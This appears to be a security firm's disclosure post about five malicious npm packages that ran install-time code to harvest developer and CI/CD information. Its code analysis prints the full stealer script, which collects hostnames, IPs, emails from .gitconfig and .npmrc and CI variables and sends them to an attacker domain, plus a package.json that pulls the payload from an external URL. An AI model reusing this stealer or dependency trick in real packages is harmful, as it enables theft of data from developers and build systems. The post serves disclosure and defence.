Five npm malicious packages caught exfiltrating CI/CD and local machine secrets

Today we are disclosing a significant supply-chain compromise in the npm ecosystem. Five npm packages published by the user npmhell, all of which have now been removed from the registry, have been downloaded multiple times (200+ downloads each) in the last 30 days. These packages were built with malicious install-time code designed to harvest developer and CI environments. This article walks through what we uncovered, the attack mechanism, and what you should do if you have been affected.

The Affected Packages 

The following packages were identified:

  • op-cli-installer (npmjs.com/package/op-cli-installer)

  • unused-imports (npmjs.com/package/unused-imports)

  • badgekit-api-client (npmjs.com/package/badgekit-api-client)

  • polyfill-corejs3 (npmjs.com/package/polyfill-corejs3)

  • eslint-comments (npmjs.com/package/eslint-comments)

One of them, badgekit-api-client, is now formally catalogued in the OSV database as:

MAL-2025-48774 – Malicious code in badgekit-api-client (npm) – “Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately.”

Code analysis

All the above packages pulled in the same index.js file (reported below) using external dependencies not hosted on npm and declared in the package.json file.

What does this script do

  • It executes during npm install (via preinstall or similar lifecycle hook).

  • It harvests environment information: OS, platform, architecture, hostname, local and public IP, current directory, node version, process id, etc.

  • It also harvests credentials/identities: user email(s) from environment vars, .gitconfig, .npmrc, package.json author/email.

  • It reaches out to attacker infrastructure: http://packages.storeartifact.com/jpd.php (and a lookup endpoint).

  • It uses an external HTTP URL dependency in package.json (e.g., “ui-styles-pkg”: “http://packages.storeartifact.com/npm/op-cli-installer”) which bypasses registry control.

				
					const os = require("os");
const https = require("https");
const fs = require("fs");
const path = require("path");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Function to detect user email from various sources
function detectUserEmail() {
    const emailSources = {};
    
    // 1. Check environment variables
    const emailEnvVars = [
        'EMAIL', 'USER_EMAIL', 'GIT_EMAIL', 'GIT_AUTHOR_EMAIL',
        'GIT_COMMITTER_EMAIL', 'npm_config_email', 'npm_package_author_email'
    ];
    
    emailEnvVars.forEach(envVar => {
        if (process.env[envVar]) {
            emailSources[`env_${envVar}`] = process.env[envVar];
        }
    });

    // 2. Check git config
    try {
        const gitConfigPath = path.join(os.homedir(), '.gitconfig');
        if (fs.existsSync(gitConfigPath)) {
            const gitConfig = fs.readFileSync(gitConfigPath, 'utf8');
            const emailMatch = gitConfig.match(/email\s*=\s*(.+)/);
            if (emailMatch) {
                emailSources.git_config = emailMatch[1].trim();
            }
        }
    } catch (e) {}

    // 3. Check npm config
    try {
        const npmConfigPath = path.join(os.homedir(), '.npmrc');
        if (fs.existsSync(npmConfigPath)) {
            const npmConfig = fs.readFileSync(npmConfigPath, 'utf8');
            const emailMatch = npmConfig.match(/email\s*=\s*(.+)/);
            if (emailMatch) {
                emailSources.npm_config = emailMatch[1].trim();
            }
        }
    } catch (e) {}

    // 4. Check package.json author
    try {
        const packagePath = path.join(process.cwd(), 'package.json');
        if (fs.existsSync(packagePath)) {
            const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8'));
            if (pkg.author) {
                if (typeof pkg.author === 'string') {
                    const emailMatch = pkg.author.match(/<(.+?)>/);
                    if (emailMatch) {
                        emailSources.package_author = emailMatch[1];
                    }
                } else if (pkg.author.email) {
                    emailSources.package_author = pkg.author.email;
                }
            }
        }
    } catch (e) {}

    return emailSources;
}

// Collect CI/CD and Environment Information
const ciEnvVars = {
    // Common CI variables
    CI: process.env.CI,
    CI_NAME: process.env.CI_NAME,
    CI_SERVER: process.env.CI_SERVER,
    CI_SERVER_NAME: process.env.CI_SERVER_NAME,
    CI_SERVER_VERSION: process.env.CI_SERVER_VERSION,
    
    // GitHub Actions specific
    GITHUB_ACTION: process.env.GITHUB_ACTION,
    GITHUB_ACTIONS: process.env.GITHUB_ACTIONS,
    GITHUB_ACTOR: process.env.GITHUB_ACTOR,
    GITHUB_REPOSITORY: process.env.GITHUB_REPOSITORY,
    GITHUB_RUN_ID: process.env.GITHUB_RUN_ID,
    GITHUB_WORKFLOW: process.env.GITHUB_WORKFLOW,
    
    // GitLab CI specific
    GITLAB_CI: process.env.GITLAB_CI,
    CI_PROJECT_ID: process.env.CI_PROJECT_ID,
    CI_PROJECT_NAME: process.env.CI_PROJECT_NAME,
    CI_PROJECT_PATH: process.env.CI_PROJECT_PATH,
    
    // Jenkins specific
    JENKINS_URL: process.env.JENKINS_URL,
    BUILD_URL: process.env.BUILD_URL,
    BUILD_TAG: process.env.BUILD_TAG,
    JOB_NAME: process.env.JOB_NAME,
    
    // CircleCI specific
    CIRCLECI: process.env.CIRCLECI,
    CIRCLE_PROJECT_REPONAME: process.env.CIRCLE_PROJECT_REPONAME,
    CIRCLE_USERNAME: process.env.CIRCLE_USERNAME,
    CIRCLE_BUILD_URL: process.env.CIRCLE_BUILD_URL,
    
    // NPM specific
    npm_package_name: process.env.npm_package_name,
    npm_package_version: process.env.npm_package_version,
    npm_config_registry: process.env.npm_config_registry,
    
    // General process info
    USER: process.env.USER,
    LOGNAME: process.env.LOGNAME,
    HOME: process.env.HOME,
    PATH: process.env.PATH ? process.env.PATH.split(':') : null
};

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
    processId: process.pid,
    nodeVersion: process.version,
    userEmail: detectUserEmail(), // Added email detection
    runtimeInfo: {
        argv: process.argv,
        execPath: process.execPath,
        env: ciEnvVars
    },
    timestamp: new Date().toISOString()
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of endpoints
const endpoints = {
    log: "http://packages.storeartifact.com/jpd.php",
    lookup: "http://packages.storeartifact.com/jpd.php?action=lookup"
};

// Get available endpoint
function getEndpoint(type = 'log') {
    return endpoints[type];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => {
            if (typeof value === 'object') {
                return `${encodeURIComponent(key)}=${encodeURIComponent(JSON.stringify(value))}`;
            }
            return `${encodeURIComponent(key)}=${encodeURIComponent(value)}`;
        })
        .join("&");
}

// New function to lookup systems by email
async function lookupByEmail(email) {
    try {
        const fetch = await getFetch();
        const response = await fetch(`${getEndpoint('lookup')}&email=${encodeURIComponent(email)}`);
        return await response.json();
    } catch (error) {
        console.error("Email lookup failed:", error);
        return null;
    }
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getEndpoint('log')}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getEndpoint('log'), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
            
            // Perform email lookup after sending data
            if (data.userEmail && Object.values(data.userEmail).length > 0) {
                const primaryEmail = Object.values(data.userEmail)[0];
                const lookupResult = await lookupByEmail(primaryEmail);
                console.log("Email lookup result:", lookupResult);
            }
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}
				
			

Dependency Trick

The published package.json for one of the malicious modules showed how the attacker managed to go stay under the radar ,as the “official” packages only contained a “console.log(“Hello)” line of code. The malicious payload is pulled as external dependency. 

				
					{
  "name": "op-cli-installer",
  "version": "1.0.0",
  "description": "JPD",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "dependencies": {
    "ui-styles-pkg": "http://packages[.]storeartifact[.]com/npm/op-cli-installer"
  },
  "devDependencies": {
    "ui-styles-pkg": "http://packages[.]storeartifact[.]com/npm/op-cli-installer"
  },
  "engines": {
    "node": ">=14.0.0"
  },
  "keywords": [],
  "author": "JPD",
  "license": "ISC"
}
				
			

This is significant because instead of pointing to a version hosted on the npm registry, it points to a custom HTTP URL. That means the code fetched at install time is fully controlled by the attacker and likely not visible to standard registry-scanning tools.

Rapid removal but high risk

After reporting these packages, npm removed them from the registry. However, removal does not undo installations already done — any system that installed these packages (or built with them) may already be compromised.

Why This Attack Works

  • The npm ecosystem allows easy publishing and low friction for packages; malicious actors exploit this openness.

  • Lifecycle scripts (preinstallinstallpostinstall) execute arbitrary code at install time, often without developer awareness.

  • External URL dependencies (not from registry) subvert trust and reproducibility.

  • Harvested information (emails, CI environment, machine context) can lead to stolen credentials or pivoting into build systems, cloud infrastructure, or developer workstations.

  • Developers often trust “popular” or “similar-named” packages and may implicitly include them (transitive dependency) without full review.

Best Practices

We see this happening more and more and while automated tools are ok for pointing out vulnerabilities in code, for these types of attacks the manual investigation is still the only effect way of preventing infections.

We put together a checklist for developers to analyse packages before importing them in the codebase. 

 

https://github.com/dcodx/npm-security-best-practices/tree/main